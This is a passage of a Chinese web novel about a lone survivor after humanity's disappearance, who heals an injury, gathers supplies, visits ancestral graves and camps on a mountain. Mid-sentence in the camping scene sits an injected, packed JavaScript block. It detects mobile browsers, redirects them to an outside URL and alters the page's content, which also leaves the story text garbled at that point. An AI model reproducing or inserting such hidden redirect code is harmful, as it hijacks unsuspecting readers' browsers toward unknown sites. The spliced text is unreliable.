还好,第一次给自己打针,还算顺利。 人一松懈了,各种乱七八糟的想法就会涌上来,风栖一手按着棉签,另一手拿着手机搜索,不知不觉搜到一条:打针的时候针断了怎么办? 呸呸呸,已经打完了,搞定了! 又按了一会儿,确定不出血了,才把注射器和棉签都丢进垃圾桶,蹒跚地离开大厅,步入广场。 明媚的阳光照射下来,驱散医院内部仿佛与生俱来的阴凉。 风栖晒了一会儿,转头继续搜刮,先去药房再翻出一大堆药,然后去工具室、骨科室薅了一大堆工具,别说,骨科室真的有锯子,很久以前她还以为是个段子来着。 轮椅装的满满当当。 她本来找了个小推车,不过等看到轮椅后,发现这玩意儿更好用,又把物资一股脑都堆在轮椅上了。推了轮椅走出医院大门,回头迎着阳光眯眼睛又看了眼楼顶高悬的红十字。 “啊,再见了,医院。” “再会了,病痛。” “以后我会每天吃一个苹果,远离医生和医院。”风栖碎碎念,一瘸一拐往后退,准备给医院再拍张照,差点退到马路对面的寿衣店里。 “远离医院,倒也不必如此一步到位。”风栖神色复杂,转头端详寿衣店。 这间寿衣铺子可能是二十四小时营业,没有关门,里头堆满了纸扎人、牛、马还有各式花圈,墙上挂了寿衣样式。 风栖忍不住进去,薅了一堆香烛纸钱,出来后才发现自己做了什么。 风栖啊风栖,你脑子瓦特了?自己给自己准备后事? 不对不对…… 风栖拎着两袋子沉甸甸的纸钱香烛,猛的回想起来,再过几天就是中元节! 按以前,中元节自己是要请假回家烧纸的,她不知外地怎样,本地的人都很看重风俗,这一天通常也会放假。 既然有用,那自己的行为就不是犯病,是未雨绸缪,是深谋远虑! 风栖很满意自己找的理由,确定没有可供搜刮的物资了,叫上蛋黄重新回家。 这些日子风栖没再出门,脚上有伤,不能经常闷着,风栖挑了双高底拖鞋,不是在院子里喂鸡鸭猫狗,就是上天台弹琴奏乐,彻底放飞,过得不亦乐乎。 不种地也没事,这时节瓜果蔬菜多得很,一颗包菜、一簇辣椒、几颗苹果和一把米就够自己吃一天。 夜里,风栖在日记中继续写下: [受了伤未尝不是一件好事。 我明白自己内心的恐惧,我热爱孤独,但又担忧自己无法承受这到极点的孤独。我害怕死亡,所以,我一直抱着“我努力了,我尽了自己所能做到的一切努力,如果我还是得病死了,那也没有办法”的念头。 万幸,伤口没有感染,没有发炎,我夜里也没有发烧。] [距离上次受伤过去了十五天,伤口已经结疤了,现在摸上去不怎么痛。 我觉得我应该是好了,我有点想出门,但我现在对外界有些恐惧,很怕又踩上一颗铁钉,或者碰到猛兽、被不知名的剧毒的虫咬上。] [十七天了,伤口应该真的好了。 我确定了,我想出门。 主动宅家,和受了伤不得不在家,这是两回事。我喜欢一个人独处,但我也确定自己不想被关住。] [这是受伤的第十九天。 今天是中元节,我准备了很多香烛爆竹和纸钱,准备去扫墓。 按我们家的风俗,一般来说只需要清明节扫墓,中元节在街头烧纸就行。不过我实在很想出门,又必须找个理由让自己克服一下,所以我决定去见一见先祖们,还有爷爷奶奶。 山路不好走,我看到了蛇,还好那些都不是毒蛇,我带了很多狗,它们把蛇赶跑了。 人类消失后,我每去一次城里,都能感觉到其中翻天覆地的变化。大自然对城市建筑和人类造物的侵蚀来的那样快。 对比之下,通往祖坟的路没什么变化,就好像回到了以往清明节扫墓的时光。 实在失策,扫墓我只带了纸钱元宝什么的,没有带贡品。以前扫墓,家里会准备一只鸡,蒸熟拔毛好,还有米酒、茶水,洒在墓碑前。 我洒了一点河水,也算是敬酒了。] 风栖翻着自己的日记。 起初的日记并非为自己所作。 风栖总抱着个念头,如果在很久很久以后,这片土地上诞生了新文明,后来人会怎么看待这一段文明时期?他们会去查找人类消失的真相吗? 她想记下来。 如果后世人能看到自己的日记,就会明白,不是所有人类都消失了,还有一个人在努力生活着,她想告诉可能存在的后世之人,人类消失后的变化。每一次写日记,都仿佛在与千百年之后的新人类对话。 但渐渐的,日记内容逐渐被自己的小事填满。 见到的路边的新生的小狗,湿漉漉黏糊糊地被狗妈妈舔眼睛。她看到的河边飞鸟,夕阳下格外美丽。鼓起勇气吃的野果子,很甜。 风栖忽然想出去走走了。 不是在村里散步,是去更远些的地方。 20.第 20 章 第二天,风栖起了个大早。 昨晚写完日记,九点不到她就躺下了。搁以前,九点夜生活才刚开始呢。人类消失之初,她也曾熬过夜、通过宵,如今却睡得越来越早。 她琢磨过这事:以前熬夜,贪图的是忙完一天后,那份无人打扰、彻底属于自己的自由时光。 不过现在嘛,约束?早就是上辈子的事了。稻子花生米收完晒干入库后,每天的小日子,闲得能听见自己头发长长的声音。 她早就能为所欲为了——想吃就吃,想睡就睡,看书、写字、抱着乐器自弹自唱,兴起了就喝点酒在院子里点篝火像野人一样围着火堆转圈,全凭心意。 天刚蒙蒙亮,空气中还带着露水的清新,推开窗,凉风吹进来,望着从远及近一片绿意连着天蓝,整个人都清醒了。 风栖欢快地跑下楼,换了身漂亮衣服,找到个大背包,又拎了两大包猫粮狗粮鸡饲料下到大堂。 计划出门两天,第三天回来。这两天其他的倒不担心,就怕鸡鸭和兔子们饿死在家。 一开始她还想着要不要把猫狗们放养出去,思考后又不放心了,怕自己两天后回来猫狗们都乐不思蜀不打算回来了,还是锁院子里吧。 鸡鸭兔子们生命比较脆弱,风栖喂过饲料草料后,拉过附近食槽,又倒了足足三天的量。 兔子们还没有动静,鸡舍里头多了四只嫩黄嫩黄的小鸡仔,声音稚嫩,跟在母鸡后边扑棱小翅膀,萌得风栖抓起来捧在手心里,好好rua了两把才放回去。 牛都放出院子门,拴在水草丰美的一片草坪上,绳子松松垮垮的,如果遇到危险也能用力挣脱逃跑。 各个仓库都打扫了一遍,粮油米面药品衣物清点过,还带着猫狗遛了几圈,确保没有老鼠蟑螂,门窗也都关紧了。 一切准备就绪,风栖装上几把斧子和弓箭、锯子,一些驱虫药和治外伤的药,还有零零碎碎诸如野餐垫、帐篷、手电筒、纯净水、调味料等等。 出发前,风栖自己摊了个煎饼果子吃,加了很多番茄酱和辣椒酱,甜酸加剧辣,吃得她呼哧呼哧吸气,又摊了几张饼,一同塞进车里。 开上车,前往邻市,目的地在邻市的一处4A级景区流云山。 流云山不算太高,主峰八百多米,风景还不错,风栖还有闲心一边开车一边搜索当地景区评价,都说门票便宜,成人五十包缆车,再加八十可以租帐篷露营。最重要的是,流云山顶特地削出一片平台可供露营,露营地旁边还有小溪环绕。 汽车驶出有些不平的小路,路面渐渐平整些,又不算得太平整。疯长的杂草顽强地从马路裂缝中钻出,攀爬上路边废弃车辆引擎盖,密布蔓延。如果不是有导航,风栖相信从高处往下看很难一眼看出这里有条道。 无妨,一位名人曾说过,世上本没有路,走的人多了,也就有了路。 轮胎碾过野草杂枝,后备箱发出轻微的乒乒乓乓声,三只狗各种坐在副驾驶和后排座位,也跟着颠簸起起伏伏,兴奋地汪汪叫。 绿色看得再多也看不腻,风栖将副驾驶和后排座位的窗户打开条缝,带着森林气息的风便一股脑往里钻,在小小的车厢里流转。 风栖并不觉得凄凉孤单,反而浮现出一种奇异的宁静。 世界仿佛按下了巨大的静音键,只留下风声、鸟鸣、车轮碾过路面的沙沙声,以及狗子们偶尔的哼唧。她享受着这份辽阔的自由,无人催促,无人评判,只有她和这片重归自然怀抱的天地。 流云山景区大门距离主峰约一公里,大门往外一两公里的山路两边本有两排农家乐、农家餐馆和纪念品商店,它们也一道被自然重新接管。 一只小鹿在报刊亭门口,仰着脖子咀嚼大树伸下的枝芽,汽车鸣笛声响起,它受惊地轻盈跃起,跃入丛林中,消失不见了。 一路往里,偶尔能看到松鼠在残垣断壁间跳荡,不知名鸟雀在空荡的屋檐下筑巢。这里不再是被人类圈地精心规划的景区,而是重回自然的野生王国。 终于抵达山脚。曾经人头攒动的游客中心一片死寂,售票处和检票闸机被厚厚的灰尘和落叶覆盖,荒诞且多余。 流云山主峰修建了马路和台阶,爬累了可以坐观光车上去,也可以选择缆车。风栖没有停下,继续开车往上,越往上走,人工的痕迹愈发稀少,凉亭、路标、栏杆都被绿意覆盖。 到山顶已是正午,风栖跳下车,深深吸了口带森林气息的风,畅快地笑。三只狗也跟着在她周边欢快蹦哒乱叫,回音阵阵。 从可露营的这片观景平台往外看,一眼便能见到对面那座山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15905796|172690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半山腰山石雕出的巨大卧佛,卧佛倚石莲台,双目微闭,面如满月,长长的耳垂落在胸前流水似的衣领上。 “好壮观啊——” 风栖欣赏够了,开始搭帐篷。这块平地是专门用来野营的,地面装了许多铁钩,可以用来固定。风栖三两下装好帐篷,里面铺上充气床垫,进去躺了躺,感觉还不错。 “狗子们,夜里记得在帐外护驾。”风栖抚摸蛋黄狗头,回忆着某段清宫戏台词,“太子窥伺帝踪,其心当诛!” 蛋黄颇通人性地汪两声,爪子刨地蹭了蹭,风栖明白它想出去打猎了,拍拍狗头,放它去了。 风栖自己也带上家伙,准备去河边看看,一手斧子一手撬棍,背上背着弓,腰间别了箭筒,还推了个小推车上面放了空桶,预备着等会装点鱼回去。 弓的背带是她自己做的,像斜挎包一样的背带,一头分开两端固定在弓身握把两侧,直接挂在背上。因为弓身抵着脖子,也不会歪斜,紧急情况下左手可以直接把弓抵在身前,不需要拆背带。背带固定得很死,就算疾跑也不会甩脱。 竹箭也都是风栖自己削的,箭尖削得锋利磨得光滑,保准扎在动物身上能轻易扎穿。 风栖弯弓搭箭,闭上一只眼,箭尖慢慢对准了栖在树上的一只鸟儿,深吸口气。 她从未懈怠过箭术练习,两个月下来,从最初根本射不中八环以内,到后来偶尔也能射准红心。 活的猎物却还没试过,村里的鸟雀总是被她祸害,也许是记仇了,她一凑近就呼啦啦飞散。静止的目标都难射中,更不用说飞起来的鸟。 弓弦紧紧勒住指套,风栖眼中那只鸟儿仿佛静止了,不止那只鸟,仿佛是一切都静止的,只有尖锐的箭尖对准了那只还在低头啄胸前软羽的鸟儿。 下一瞬,箭尖扎穿鸟雀胸腹。 那只鸟还来不及悲鸣,已从树梢一头栽下坠落。更多鸟惊起,掀动风波哗啦啦飞走。 风栖兴冲冲奔过去捡起那只鸟,箭拔出来,等下洗洗还能用呢。就这么一手提鸟一手拎斧子叮铃当啷跑到小溪边。溪水清透,能洗净被血浸染的箭矢,也能洗净一只刚死去的鸟儿。 风栖毫不客气地给不知名小鸟放血,拔毛,就在溪边空地点着篝火烧烤,香飘四溢。 爽!